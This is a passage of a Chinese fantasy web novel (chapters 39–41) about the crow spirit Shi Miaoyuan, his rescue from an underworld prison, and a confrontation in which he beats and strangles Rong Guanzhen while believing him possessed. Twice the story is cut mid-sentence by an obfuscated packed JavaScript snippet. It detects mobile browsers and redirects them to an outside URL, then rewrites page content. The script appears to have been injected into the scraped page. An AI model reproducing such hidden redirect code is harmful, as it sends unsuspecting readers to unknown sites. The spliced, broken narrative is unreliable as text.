“到晚上的时候我不也下去睡觉了吗?” “他们不是也在地上站着吗?” “为什么非得是我,为什么偏偏是我呀!” “十之有九的事情,带你一个也不稀奇吧。” 时妙原忙不迭点头:“对啊,对啊!十之有九的事情,咱们就想开点吧,好吗?虽然现在很不舒服啦,但,但是我觉得以后还是会有希望的!说不定我们很快就能出去,说不定哪天我就带着大家离开这里了呢?我们在这儿待了多久……五百年?三千年?一万年有没有?区区两万年时间而已!” “别扯了!我们要怎么出去啊!” “还带着大家一起离开呢!平时就你最会吹牛,你当初还打包票说后羿瞄不准的呢!” 时妙原的脸瞬间烫了起来:“哎哎哎,有话好好说,你翻旧账是什么意思嘛!好汉不提当年勇,从前的事情就不要再说了,反正闲着也是闲着,我们来想想等自由了做些什么好不好?虽然这里很无聊,但是人间就不同了!等我们哪天回到人间,就有好多好多事情可以做了!” “比如呢?”有一个怯怯的声音问:“比如做什么?” “这……我想想啊……” 时妙原兴奋地说:“我们可以先去河里洗澡!” “洗澡!”“这个好!”“我身上痒死了!” “对,先洗澡!等洗干净了,就飞到树顶上去晾羽毛!” “我想回扶桑树。”“我随便找个高点儿的地方就行!” “哎呀,不管在哪儿挂着,反正只要羽毛干净了就行!”时妙原喜滋滋地畅想道,“这个刚出去啊可能飞不了太久,所以我们可以先找个舒服的地方做窝!弄点稻草树叶,再来点石子儿衣服,然后我们在里面睡大觉!睡一整天!谁喊也不起来!” 十恶大败狱中回荡着此起彼伏的赞许,时妙原的提议得到了大部分金乌的认可。不过,他还是听到了一丝不和谐的声音:“那然后呢?” “然,然后?”时妙原被问得顿了一下,“然后就,该干什么干什么呗。” “你说得倒轻巧,你有没有想过这世间哪里有容得下你的地方?”那金乌冷冷地说,“扶桑树已经倒了,你已经没有家了。就算出去又有什么意义?他们只需要一个太阳,我们谁都是多余的那个!” “啊……这……话也不能这么说呀!”时妙原焦急地辩解道,“先别管别人要不要我们,只要我们一起出去,咱兄妹几个们到哪不是家呢?有朝一日,有朝一日一定会有人……” 他正说得激动,有什么温热的东西流进了他的嘴里。那是他自己的血,时妙原赶紧闭上了嘴巴。 有金乌小声地嘀咕道:“我还是觉得你说的不靠谱。” “是呀,我们应该是出不去了。” “真是异想天开,从古至今就没听说过有谁能离开十恶大败狱的。” “除非地藏菩萨来了。” “阎王爷来了都不顶用!” “十恶大败……十恶大败……我真的有这么坏吗?我不觉得的呀……呜……” “别哭了!听着就烦。等下水来了再哭也不迟。” “水!等下居然是水吗?我讨厌水……” 时妙原无力地垂下了脑袋。 哗啦哗啦,是血液冲刷鼓膜的声音。淅淅沥沥,监牢中水位突然上涨了起来。 重身水来了。慈母般柔和的清泉将时妙原轻轻纳入了怀中。它捂住了他的口鼻,沾湿了他的羽毛,它浸润了淋漓的伤疤,狂风随之而来,他与它在噩梦中身心浮沉不止。 唰! 重身水猛地退了下去。 眼前难得出现了光,一柄镶金嵌玉的长剑将水劈作了断流。 握剑的是一位青衣人。那人走到他身前,对他随意地打了声招呼: “你好。” 是喊我吗?时妙原努力抬起了头。 这人是谁?他不认得,他只知道眼前一片刺亮,这是他许久未见的光芒。 那人沉默了少顷,似是在打量他的面庞。不知多久以后,她笑着说道: “原来你长这个样子啊。” ———— “是空相山神,将时妙原放出了十恶大败狱。” 遥英纠正道:“当然了,是上一任空相山神。” 水底一片萋芜,避水珠在遥英腕间稳定地散发着亮光。以他为中心的一小片区域内明亮如昼,但在这法宝所不能及的地方,黑暗和未知正在水壁后蠢蠢欲动。 这里安静极了,遥英讲述的时候,荣承光一直在闲不住似地绕着水壁转圈。关亭云和关居星蹲坐在白马残雕下不知想着什么,荣观真抱着胳膊站在人群之外,他看起来对这个话题一点兴趣也没有。 讲述暂告一段落,现场的气氛不知为何有些微妙。关居星左等右等都等不到下文,便按捺不住好奇举手问道:“遥英哥哥,你说的上一任山神是闻音娘娘吗?是她把时妙原救出十恶大败狱的?那得是多久以前的事情了啊。” “居星,你别问东问西的!”关亭云拿胳膊肘拐了他一下,“小心老爷他……” “继续说吧。” 荣观真突然开口,把其余人吓了一跳。 他说:“我没听过这个故事,所以有点好奇接下来发生了什么。” 遥英看了荣承光一眼,得到后者的首肯他才接着说道:“救时妙原的确实是闻音娘娘。她平日里斩妖除魔,理山治水,功绩得天地见证,又偶得地藏菩萨点化,故而得以自由出入诸地狱。地藏菩萨座下有增损二将军驱鬼降恶,祂曾发宏愿度化地狱众生,十恶大败狱也属其中。所以当初闻音娘娘以度化之名把时妙原带回人间,也几乎没有受到任何阻拦。” “娘娘居然是菩萨弟子吗!?”关居星惊讶地张大了嘴巴,“太厉害了……那她为什么非要救时妙原呢?他有什么特别之处啊?哎,他从那时候开始就叫这个名字啊?” “我也不清楚,可能……她是有自己的安排吧。”遥英摇头道,“时妙原重获自由,其余金乌当然是被留在了十恶大败狱中,自那时起他便立誓为娘娘所用,永世不忘,矢志不渝,只要是她发出的指令,即便以性命为代价也在所不……哎,常兄弟,你这是在干什么?” 时妙原用力抠掉了一大块扒在白马残雕上的藤壶。 “我没事,你继续。”他摆手道,“你接着往下说吧。” 遥英忧心忡忡地问:“你真的没事吗?我看这石头都快给你抠出洞来了……” “真的!你别管我,你们接着聊,让我一个人呆会儿就行!” 时妙原快步走到残雕背后,蹲下身抱着头无声地尖叫了起来。 好尴尬啊。 好难受啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142680|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有人能来救救他。 有谁能来把他一棒子敲昏过去啊!!!!! 如果不是还有别人在,时妙原现在是真的恨不得狂扇自己两百个大耳巴子了。 亲娘啊,他说的都是些啥啊! 什么永世不忘,什么矢志不渝,什么付出生命,什么在所不辞,这是人能讲出来的话吗?他当初是怎么说得出口的?他那时候脑子筋是怎么搭的!?虽然他立誓的时候肯定没有别的意思,虽然他后来也确实没有违背自己的诺言,但是从别人口中听到这些话的杀伤力和自己讲出来简直完全不可同日而语! 怪不得啊……怪不得荣闻音当初听他立完誓表情那么精彩,怪不得后来她每回单独见他都有些回避,怪不得她总是有意无意地在他面前提起自己家小孩……怪不得她当年突然就把荣观真带过来给他看了一眼。靠!也就是三千年前空相山还没有开通群众报警热线,搁现在他肯定早就要被当成神经病抓走了啊啊啊啊啊啊—— 时妙原忙于用脚趾狂抠梦幻城堡,故而他没听见荣观真自言自语似的呢喃:“他倒是从没对我说过这种话。” “这段记录并未公开,我也是前些日子才在不归池的档案库里翻出来的。”遥英对荣观真说,“除了闻音娘娘和时妙原本人之外,应该就没有其他知情的人了。哦,承光还是知道的,对吧承光?” “嗯,差不多吧。”荣承光漫不经心地说,“我是知道得比你早些,但当时我没往心里去。自从她把东阳江交给我之后,不归池里那些经卷也就顺带由我来保管了。不过……” 他突然走到了时妙原面前。 “哎?你干嘛。”时妙原一抬头看见这张与荣观真有九分相似的大脸,不由得警觉地退后了半步,“那啥,有话好好说,你可别动手啊……” 荣承光嗤笑了一声:“不干嘛,你别那么紧张。我只是想说,你先前问我徐知酬是不是我害的,我那时不承认是因为我不记得了。” “不记得了?”时妙原有些惊讶。 不应该吧?先不论神仙会不会失忆,他还记得荣闻音当初给他的祝福……明明应该是“不忘”呀。 “对。一千年前三渎归一那会儿我吃了几个水神,从那之后我就忘了很多事情。”荣承光不耐烦地说,“但是你放心,我一直在想办法找回记忆,但凡我想起来了,但凡我弄清楚了,但凡有任何一个人的死和我有一点儿关系,我都绝对不会有半句含糊。” 遥英忧心忡忡地说:“我们之所以会来慧阳,也是为了调查1997年那场诡异的洪水。我这些年一直在陪着承光寻找记忆,但我们也是才知道徐知酬这个人的存在。承光对他完全没有印象,至于那个山羊脸的怪物更是闻所未闻。你们会被牵连进来已经很奇怪了,我更没想到亭云和居星竟然会被带到十恶大败狱去!这几件事情……如果它们之间彼此都有关联的话,那就真的可以说是一团乱麻了。” “乱就乱吧,其实我也不是非得恢复记忆的!”荣承光嚷嚷道,“退一万步来说,最坏的打算也不过是有人恨我,在背后偷偷算计我而已!那他大可不必如此费劲儿,他大不了就直接过来弄死我呗!反正这个水神我也不想再当了,等我死了,再过个几十一百年谁还能记得谁呢?遥英!你还记得你小时候的玩伴长什么样子吗?” “哎,我?”遥英愣了一下,“这……确实是没有印象了。” “那不就完了!” 荣承光手一抬,豪迈地往天上竖了个中指:“不管是谁,如果你在那的话你可听好了——如果你恨我,那就来杀我,如果你杀不了我,那你最好别被我发现。当然,如果你实在弱到了家,什么都做不了,什么都改变不了的话,那我劝你还是安安分分躲在房间里,祈祷我永远不要想起你来好了!” 他刚气势如虹地放完狠话,关居星突然跳出来喊道: “哎哟!你这么说的话,那意思是连遥英哥哥也不放在心里了咯?你难道有一天也会忘记他吗?你好绝情啊,承光叔!” 39. 十恶得赦 (二) 关居星扯着嗓子嚷嚷道:“哎哟!你这么说的话,那意思是连遥英哥哥也不放在心里了咯?你好绝情啊!” “你胡说什么呢?”荣承光立马炸了毛,“关居星,你别搁这血口喷人!” “我才没胡说呢,遥英哥哥,你管管你家小荣老爷啊!”关居星拽着遥英的袖子控诉了起来,“他说他心里没你,他这人喜新厌旧,他记性差得跟老头子似的,你别看他现在跟你好,再过几年说不定连你叫什么名字都忘掉了!” “啊,这?”遥英的脑门上流下了一滴冷汗,“居星,你不要误会我们之前的关系……” “小兔崽子,你讨打!!!!” 荣承光一跃而起,无数金蛇从他的袖口中窜出,冲关居星的面门直直扑了过去。关居星拔腿就跑,他一边跑还不忘一边冲遥英大叫:“遥英哥!你擦亮眼睛好好看看吧!我们承光叔虽然脸好看但是根本就靠不住!这种男人是不能要的!我劝你赶紧想办法去找点更温柔更贤惠更善解人意的呜啊啊啊啊你别咬我屁股!” “关居星!你给我站住!” “承光!承光你先冷静一下别跟小孩子置气!” “居星——哎哟你说你好好的没事儿干惹他干嘛啊——” 混战瞬间打响,关居星和荣承光像猴子似的满场上蹿下跳,关亭云跟在后头狂追,着急得就像是给孙子喂饭的老奶。时妙原本不想被卷入其中,却不料树欲静而风不止,他只是安安分分躲在白马残雕后面,却还是被蛇尾结结实实地扫了个大跟头。 “哎不是?”时妙原瞬间暴怒,“他大爷的,敢打你祖宗是吧!” 他撸起袖子就想加入战局,余光却瞥见荣观真快步走到了遥英身边。 关居星回头紧张地看了他们一眼,然后他又继续冲荣承光挑衅:“来呀!放马过来啊!承光叔,你怎么连我这个小孩子都追不上?你是不是上了年纪腿脚不方便了啊!哦我忘了,你是蛇,你没有腿!!!” 荣承光气得嗷嗷直叫,与此同时荣观真俯下身子,轻声对遥英说了些什么。 遥英的脸色一变。 嗯?时妙原立刻竖起了耳朵。只听见遥英小心翼翼地问:“荣老爷,您的意思是说,您想去不归池对吗?” 荣观真没有立刻答话。他的嘴唇紧抿,就好像在纠结什么生死攸关的大事。 过几秒后,他叹了口气道:“对。我想去看看你说的那些经卷和档案,可以吗?” “您指的是?” “有关十恶大败狱那些。” “哎?这……” “不方便吗?” “不不不,可以是可以!但,为什么?” “就是想看而已,没什么特殊原因。”荣观真轻声说道,“别有压力,你要是不方便的话,那我就不看了。我不是想为难你,我只是单纯好奇,真的。” 遥英连忙摆手:“您别这么见外!这些也没什么好保密的,等回去我找给您就是了。” 战局进入了白热化阶段。关居星的身手极为敏捷,只可惜避水珠安全区有限,他左右甩不开金蛇的围捕,终究还是被荣承光逼到了水壁角落。 前方就是深水,他只迟疑了半秒便突觉重心一倒——只听啪啪两声,荣承光打出两下响指,那蛇尾轰然变大数倍,绞住关居星的脚踝将他整个人倒吊着提溜到了半空中。 “啊!快放我下去!”关居星像条泥黄鳝似地扭动了起来,“你再不放开我,下次你挨打的时候我就不会再帮你说好话了!呜哇……老爷!老爷!你快救救我啊!” “你小子自身难保,居然还想着拿这个要挟我!”荣承光像个反派似地仰天大笑了起来,“谁要你个小不点替我求情啊!” “居星!哎哟居星你裤子要掉了!”关亭云急得在下面跳来跳去,但是他个子太矮,就连关居星的鞋底都摸不着。这画面滑稽至极,像极了村霸欺负孤寡儿童,时妙原正觉得好笑,突然感觉后背被猛地怼了一下。 那触感冰冰的,凉凉的,还有些尖。 他立马大叫起来:“哎哎哎!荣承光!冤有头债有主,我没招惹你吧!” 荣承光回过了头来:“你喊啥?” “你问我喊啥?那我问你戳我干嘛!”时妙原指着自己的背说,“你瞧瞧!给我衣服都弄皱了,这可是你哥花钱给我买的!你要咋赔?” “啊?谁特么碰你了?” 荣承光松开尾巴,关居星哎哟一声落下,给关亭云砸了个眼冒金星。 “睁大你的狗眼好好看看,我的蛇早都收回来了!”荣承光没好气地托起了自己的尾巴,“我要拿什么戳你?你能不能别一天到晚臆想,没人关心你这死鸟干啥!” 时妙原火冒三丈:“你别嘴硬好不好!你承认一下又能怎么样?你这个……哎哟!” 他又被戳了一下。 还是同样的位置,还是同样的触感,还是来自于身后。时妙原忍无可忍回头抓住了蛇尾:“看吧!你还敢狡辩……哎?” 一只泡得浮肿的鬼手对他比了个“耶”。 啊?时妙原愣在了原地。 直到这时,他才发现,不知从什么时候开始,水壁已经缓缓来到了他的身后。眼前一片漆黑,这便更衬得那手苍白而又刺眼。 “你……” 未等时妙原作出反应,那鬼手突然反握住了他的手腕。然后另一只手冲出水幕,掐住时妙原的脖子将他整个拖进了水中—— “!!!!?” 水流如山崩般撞向他的耳膜,就在这半秒钟不到的时间里他听见了千万亿计亡魂的嘶叫。暗流疯涌进他的口鼻,熟悉的窒息感立马让时妙原回忆起了一切:这绝对是如假包换的重身水,他敢打包票保证这一点!十恶大败狱中那无数个不见天日的昼夜中,他就是在这样的酷刑中不断煎熬至绝望的! “哈啊——!” 时妙原挣扎着脱离水体,他刚一探出身去,就看到荣观真朝他冲了过来。 他急忙大喊道:“你走开!!!” 晚了!荣观真已经抓住了他的胳膊,就才此时那鬼手突然发难,竟将他们两人一起拽了进去! 又是天旋地转,又是地动山摇,又是足以令灵魂崩溃的极寒,时妙原只觉得有重锤在不断重击他的头颅,他浑身上下每一寸肌肤都像是被彻底贯穿了般刺痛不已。 眼前白沫纷涌,他在无规律的浪流中闻到了一丝腐朽的血腥气——他不确定那究竟来源于他自己,还是在水底枉死的冤魂。 他只觉得自己像一枚贝壳,有人拿小刀撬开了他的头颅,然后,某些尘封已久的记忆就这样被冲上了沙滩。 重身水从不现于人世,故而不论是山神河仙还是修士,都不知道它其实有一个最本质的功效。 它能帮人再度记起,生命中所有至关重要的片段。 他看到荣闻音打开了牢门。 “来,你们选一个跟我出 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“这次见面过后,我发现我不想再对你告别了。” 风过后是雷暴,那雨声怎么听怎么像是谁在哭。 那人手上满是鲜血,三度厄上的明珠已经黯淡了一颗。 “就算……就算所有人都恨我,都唾弃我,都不愿意再信我,我也希望你能一直站在我这边。” “你不会离开我的,对吧?” “对吧?” “时妙原……” “你为什么不说话?” 时妙原看见了火。 烈火滚滚袭来,那来自于三度厄的剑锋。 烈火滚滚而上,火浇灭了执剑人掌心发黑的莲纹。 “时妙原,我再给你最后一次机会。” “你有什么苦衷,有什么难处,有什么想对我说的话,你都可以向我解释。” “或者,如果你实在不愿意说的话,我其实可以假装什么都不知道。” “我们可以重新开始。” “我们重新开始好不好?” 大水褪去,风雨回流,日月齐生,江海倒转。回忆缓缓抽离,再睁开眼时,时妙原发现自己正身处一地泥泞之中。 周遭夜色如注,重身水已然退下,时妙原不顾身体的不适,爬起来用尽全身力气喊道:“荣观真——你在吗!” 无人应答。 “荣观真——你跑到哪里去了——咳,咳咳咳咳咳!” 口中血腥气四溢,在重身水中复苏的回忆令他头痛欲裂。荣闻音和荣观真的面容在他眼前不断回闪,他们一会儿在对他笑,一会儿又面无表情,脸上沾满了属于他或自己的鲜血。 “荣观真!!!”时妙原撕心裂肺地喊道,“你在哪里!!!!” “你……我叫你别跟过来,这下好了吧!操!” “这里怎么这么黑……靠!荣观真,你这个王八蛋,你这么牛逼不会真被淹死了吧?别装死了!快出来跟我说两句话!” “荣观真,你听得到我说话吗!!!” 耳畔扑来温热的呼吸,在他颈侧激起了一片鸡皮疙瘩。 时妙原立刻转过身去,与此同时,一只冰冷的手用力地按住了他的脖颈: “你别怕。我就在你身边!” 40. 十恶得赦 (三) “老荣!你没事吧!”时妙原焦急地抓住了荣观真的胳膊,“我还以为你被水冲走了呢!你有没有感觉哪里不舒服?” “我没事!你……咳咳咳……你感觉怎么样?”荣观真反握住了他的手,“刚才那个就是重身水吗?我还是第一次遇到……咳!在重身水里居然是这种感觉吗?” “先别管什么重身水不重身水的,你先坐下来休息一下!” 时妙原摸到一把凳子,赶忙扶着荣观真坐了下来。荣观真一直在不断地喘气,他脸上难得露出了惊恐的表情。比起他,时妙原的心态倒还算好些,毕竟他怎么说也算是重身水中的常客了。 时妙原试图分辨自己的所在,可没了避水珠的帮助他几乎看不清任何物件。周围的景象陌生而又昏暗,方才拉他来的那只鬼手也不知去了哪里。冷静,冷静,深呼吸,先想想下一步该怎么办……他看到荣观真脸上的红布条还在,便问:“你看得见东西么?” “勉强可以。”荣观真在身上摸索了几下,“还好,你给我雕的神像没丢。” “那就好!你别怕,我们先在这儿……呼,先缓一会儿。” 时妙原嘴上说着让荣观真不要害怕,整个人却止不住地打着哆嗦。荣观真察觉到了他的异样,他问:“你很怕黑吗?” “我……我是有点!哈哈。”时妙原干笑道,“从小就这样,可能是从娘胎里带的吧,应该……应该不碍事!” 他说谎了,其实这是在十恶大败狱里落下的毛病。 这不能怪他,毕竟那儿实在是太黑了。他生来就是太阳,在落坠之前,还从未见过真正意义上的夜晚。 话音刚落,一小簇火苗在时妙原眼前燃了起来。 那火在荣观真掌心忽闪忽灭地曳动着,它的光亮十分有限,但好歹也照亮了两人身边的空间,还有荣观真苍白如纸的嘴唇。 “只能先这样了。”荣观真又咳嗽了两声,“凑合用着吧,我现在使不出其他法术。” “你的脸好白,你还好吗?”时妙原忧心忡忡地问。 “别担心,我死不了。倒是你,你知道这是什么地方吗?” 荣观真扯了扯脸上的红布,湿透了的布料又黏又沉又冷,光看着就舒服不到哪里去。他抬手环扫一周,于是时妙原终于看清了周围的环境。 这是个十分普通的房间。屋子里散落着许多木板,还有被熏得黑黢黢的烛台,屋角落堆有不少箱子和沙袋,墙上隐约可以看到褪色了的大字:严禁烟火。地板上摊着一堆堆黑乎乎的烂泥,仔细闻还有些发臭。 “我从没来过这里,这是什么仓库吗?”时妙原嫌弃地捂住了鼻子。他见荣观真摇摇晃晃地想要起来,便赶忙过去扶住了他:“你不再休息会儿?” 荣观真摇头道:“不用。这里不安全,我们还是赶快去找承光比较好。我大概能感应到他在哪,这次我打头阵,你小心别再被拉到幻境里去了。” “我应该不至于再上一次当,但……但是你弟弟他们不会有事吧?” “应该还好。他皮糙肉厚还有避水珠,只要不尝试动脑子去做点什么的话,应该不会和我们一样中计。” “这样啊,也是。”时妙原挠了挠后脑勺,“我听说笨蛋的命一般都比较硬。” “照这么说的话,他应该是注定要与天地同寿了。” “你们俩的关系是一直这么差吗?”时妙原被他逗笑出了声,“其实我早就想问了,你干嘛要对你弟弟这么凶啊?虽然他空有一副皮囊,不仅脑子很笨性格很烂没有半点正神的样子就算了还天天跟护法撒娇和小孩子计较完全就是个心智不成熟精神不正常情绪不稳定智力水平低下待人处事恶劣说话咋咋呼呼干活麻麻赖赖被人卖了还要自己往快递盒里塞泡沫纸的笨蛇……但他也不是完全没可取之处的对吧?” “啊,谢谢你的夸奖。不知道为什么,听你这么一说我突然没那么讨厌他了。”荣观真难得露出了笑容,“你放心,等见面了我会把你的评价转述给他的。” 时妙原立刻挽住了荣观真的胳膊:“哎哟,那你到时候可要保护好我哦!你弟弟要是把我打残废了,你可得对我负责!” 荣观真推开了他:“是我的错觉吗?你最近是不是太没有边界感了?” 时妙原眼睛滴溜一转道:“是吗?我再冒犯也比第一次见面就把人往家里带的好吧。你之前对我是又摸又抱又这又那,现在才开始装矜持是不是太晚了点啊?” 他说着又巴巴地要贴上去,被荣观真灵巧地躲开了。 “停,你给我收一收!再过来我直接把你的鸟毛都烧光!”荣观真抬手威胁道,“你放心好了,我之前在岸上说的话还作数,等回去了我绝对会第一时间放你走。你到时候想去哪里都可以,不用跟我打报告!” “你居然还想着赶我走?我告诉你门儿都没有!”时妙原叉着腰理直气壮地说,“我是喜鹊不是笨蛋,我也是分得清好歹的!我跟着你有吃有喝有住有玩儿还有小孩使唤,出门在外甭提多有面儿了。荣观真,我赖定你了!你别想摆脱我,以后谁来问我我都说,我是空相山神的贴身护法!我这叫什么……对,良禽择木而栖!” “还良禽呢,我看你简直是狗仗人势!”荣观真破口大骂道,“你也老大不小的了,要点脸会怎样?!” “我不要脸你要!来,来,我的脸给你,你亲不亲?” “死一边去!” “哎呀,荣老爷害羞咯——” “我没跟你开玩笑!” 时妙原还在那嘻嘻哈哈,荣观真露出了一副十分严肃的表情。 他说:“我是认真的,常栖迟。我当初带你回香界宫只是一时心血来潮,现在仔细想想确实十分不妥。你也有自己的事得做吧?等上去以后我真的会放你自由,你可以去任何你想去的地方,去见任何你想见的人。这不比一天到晚被我关在大涣寺吃香火强吗?” 时妙原弯下腰,上上下下左左右右地仔细打量起了荣观真。 “你干嘛?”荣观真顿时心生警觉。 “你讲话太通情达理,我总感觉你可能被鬼上身了。”时妙原忧心忡忡地问,“你还是荣观真吗?你别是那山羊精变来色诱我的吧?” “神经病!我就不该跟你说这些!” 荣观真踹开门气呼呼地就往外走,时妙原小碎步跟在他后头呼唤道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142682|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“哎哟,你别走那么快呀!等等我嘛荣老爷——人家怕黑的说——荣老爷?荣观真?观真呀,阿——” 他突然闭上了嘴巴。 让他收声的不是荣观真的拳头,而是一条熟悉得令他汗毛倒竖的长廊。 徐知酬曾走过的长廊。 走出房间之后,他们竟然又来到了乌枫镇中心学校。 走廊中的景致与时妙原先前所见的基本相同,只是两侧墙皮已然剥落殆尽,曾经整洁的砖缝里长满了水草,教室的窗户也像一张张大嘴般豁然洞开着。公告栏里的涂鸦早已不见,挂历的日期永远停留在了1997年,这里已经没有任何学生了,也再不会有人迎面向他们问好。 “跟上来,小心点。”荣观真大步流星向前迈去,“这次你再被拖进幻境我就不会帮你了。” “慢点!你等等我!” 时妙原紧赶慢赶地贴到了荣观真身边。先前的经历给他造成了不小阴影,他越走心跳越快,越走就越感到不安。即将来到那面仪容镜前时,他感到自己的心脏都被提到了嗓子眼。 镜子果然碎了,蛛网般的裂痕将镜中人的面目剖成了数瓣。 时妙原花了两秒钟时间看清眼前的景象,然后,他的大脑“轰”地炸响了开来。 “这……”他震惊地后退了半步,“这是?” 他与荣观真并立于镜中。 荣观真当然还是那个荣观真,只是镜中的他打扮与现在有了些许不同。 他穿着纯白利落的剑士长袍,腰间还别了一把通体流金的长剑,这不是三度厄,但时妙原也同样熟悉它的来处。剑上经文佛偈熠熠生辉,红色塑料胶带贴的“仪容镜”三个字与荣观真眉间的朱砂痣融为了一体。 他在笑,他手持黄姜花束,笑得青涩而又明朗。 时妙原已经很久没有从他脸上看到过这样的表情了,荣观真在对他笑,只不过他所看的并非镜外的他。 视线向左平移,时妙原不出所料看见了另一个熟悉的身影。 那是个邪气又俊美的男人。他比荣观真矮了大半个头,身上的装扮却复杂了不知几倍。这人生得红瞳黑发,浑身珠玉琳琅,他浑身珠光宝气,脸上笑意吟吟,就好像遇见了什么天大的乐事一样。 他之所以会这么开心,大概是因为荣观真将手搭在了他的腰间。他很怕痒,于是仰起头对爱人嗔怪地抱怨了几句什么。 时妙原低头望去,他还穿着那件被泡皱了的黑色T恤。镜中人看到他这乞丐般的模样,不由得咯咯地偷笑了起来,看他的口型似乎是在问: 你明明也是我,怎么会落魄成这个样子? “时妙原。” 荣观真突然喊出了他的名字。 时妙原浑身一抖。 喊他的不是镜中人,而是实打实的,站在他身边的荣观真。 他僵硬地扭过头去,荣观真正静静地望着他。 镜中人依偎在了一起,与此同时荣观真上前两步,将时妙原慢慢逼到了角落。 “你还有什么想解释的吗?” 他冷冷地问。 “都到这时候了,你难道还想要再骗我么?” 41. 十恶得赦 (四) “给我一个解释。”荣观真冷冷地说。 时妙原脸上浮现出了一丝惊慌:“老荣。你听我解释,事情不是你想的那样的,这镜子……肯定是这面镜子有问题!” “还喊我老荣?”荣观真厉声打断了他,“你都比我大多少岁了,还好意思在我面前装嫩是吧?!实话说我早就怀疑你了,我一直留你到现在就是想看看你到底什么时候能露馅!骗我很有意思吗?在我身边装蒜很有意思吗?嗯?你看我的笑话是不是很开心啊,时!妙!原!” 他越说越步步紧逼,到最后,时妙原的背整个都贴到了镜子上。镜中人们探头探脑地打量了起来,他们可能在好奇,好奇这两位明明也是他们,为什么彼此间的气氛却像是有血海深仇一般。 荣观真双唇紧抿,身侧紧攥着的拳头正在不断颤抖。他虽一言不发,但依照时妙原对他的了解,现在的荣观真,恐怕已经气得发疯了。 时妙原感到了一阵恍惚:上次他见到荣观真这幅表情的时候,好像还是在司山海宴上被他处刑那会。 当年当日的情景和此时此刻产生了重合,时妙原努力驱散掉脑海中挥之不去的记忆,他深吸一口气,将右手搭到了荣观真肩上。 “对不住了。”他说。 “哈?你如果是想要对我道歉的话光说对不起可不——” 啪! 时妙原干脆利落地扇了荣观真一巴掌。 这一掌的力气极大,荣观真的脸直接被扇歪了过去。 红布垮落半边,露出了其后震惊而又无神的双眸。 “你?” 啪!啪!啪! 又是同样气吞山河的三个耳光,甚至连力度都被控制得十分均匀。时妙原正准备扇第四下的时候荣观真终于反应了过来,他抓住他的手腕怒喝道:“时妙原!你是疯了还是——” 砰!时妙原一脚将荣观真踹翻在了地上。荣观真还没能来得及作出反应,便被时妙原欺身而上一把掐住了脖子。 “何方妖孽,还不快现出原形!”时妙原气势如虹地喝道,“敢附身空相山神,我看你是不要命了!” “不是!你,你……你这个……你在说什么胡话!!” “你还敢狡辩!” 时妙原一手扼住荣观真的脖子,一手高高举起,又连甩了他好几个耳光。荣观真脸上霎时间浮现出了无数红痕,搭配上他震惊无比的表情,一时间竟然时妙原感到了无比的畅快。 很多很多年以前,他曾经向高人请教过抽男人耳光的技巧。 他还记得那人当时是这么教他的: 打人,首先要明确目的。是为了惩戒,还是调情,还是单纯的发泄?这每一种对应的打法都不一样。 其次,抽耳光的力度一定要大。 不能拖泥带水,不能轻拿轻放。下手一定要重,一定要足够刻骨铭心!才能让你想管教的那个人,对你自此再不敢有二心。 那时候,时妙原没能将对方传授的经验落实下去。不过多年后,他总算也是将这些心得用在了该用的人身上。 荣观真已经被抽昏了头。这些巴掌每一个都兼具侮辱性和杀伤力,他被打得头晕眼花,一时间竟忘记了要还手。时妙原便乘胜追击,三下五除二将红布缠到他脖子上,然后使劲儿一扯—— “老爷啊!您别怕!您千万不要着急!” 时妙原用尽全身力气绞紧了红布。他情真意切地喊道:“您这铁定是被怪物困住了,别担心,小的我啊现在就为您护法——那妖怪!不管你是什么东西,你都给我听好了,你要是不想死,就快些从我们家老荣身上下来!” 老荣身上并没有妖怪,老荣身上有且仅有一只恨不能当场送他往生的死鸟。伟大而又庄严的空相山神、慈悲之尊、万岳之主与千里山河之使额头青筋暴起,他的表情震怒至极,但很快那恨意开始扭曲,并随着不断被挤榨的氧气流失成了深深的绝望。 时妙原勒着勒着,有那么一瞬间甚至感受到了一丝兴奋。荣观真满脸涨红,他眼角不断有泪水滑落,寻常人要是落得这幅模样肯定丑陋不堪,但他顶着这张脸,不管做什么表情都会十分精彩。这光景对时妙原而言并不鲜见,毕竟从前他经常会把荣观真骑成这个样……啊抱歉,这个是能播的吗? 荣观真还没放弃反抗,他扒着时妙原的手腕徒劳地挣扎了好几下,直到时妙原松开手,抄起地上的木板,冲他的太阳穴猛地砸了下去—— 当! 荣观真应声而倒。 “呼。” 时妙原缓缓起身,喘着粗气抹掉了额头上的热汗。 “爹的,累死老子了。” 他弯腰看了两眼,确认荣观真还有气儿之后,如释重负地松了口气。 “这次居然坚持了快一分钟啊?真是的……自己一个人待着怎么还进步了?”他喃喃道。 现在的荣观真当然没法回答这个问题。时妙原在原地站了一会儿,待到呼吸平复得差不多之后,他面无表情地望向了那面仪容镜。 镜中人都还在,他们的表情也都精彩至极。那位“荣观真”被吓得面如菜色,而“时妙原”也正以袍掩面作不忍状,但其实,他在从指缝里偷偷地看这出好戏。 时妙原突然一股无名火起,他跨步迈到镜前,镜中人慌忙摆手制止,他一拳将那仪容镜砸了个粉碎。 哗——!幻影原地消失,镜片散落满地,时妙原甩甩手上的血珠,冲余下那残片冷笑道:“装啊,你怎么不装了?你跟我装你爸呢,老子这辈子最讨厌有人在我面前装蒜!” 他转身走到荣观真身边,揪着他的衣领将他拽了起来。 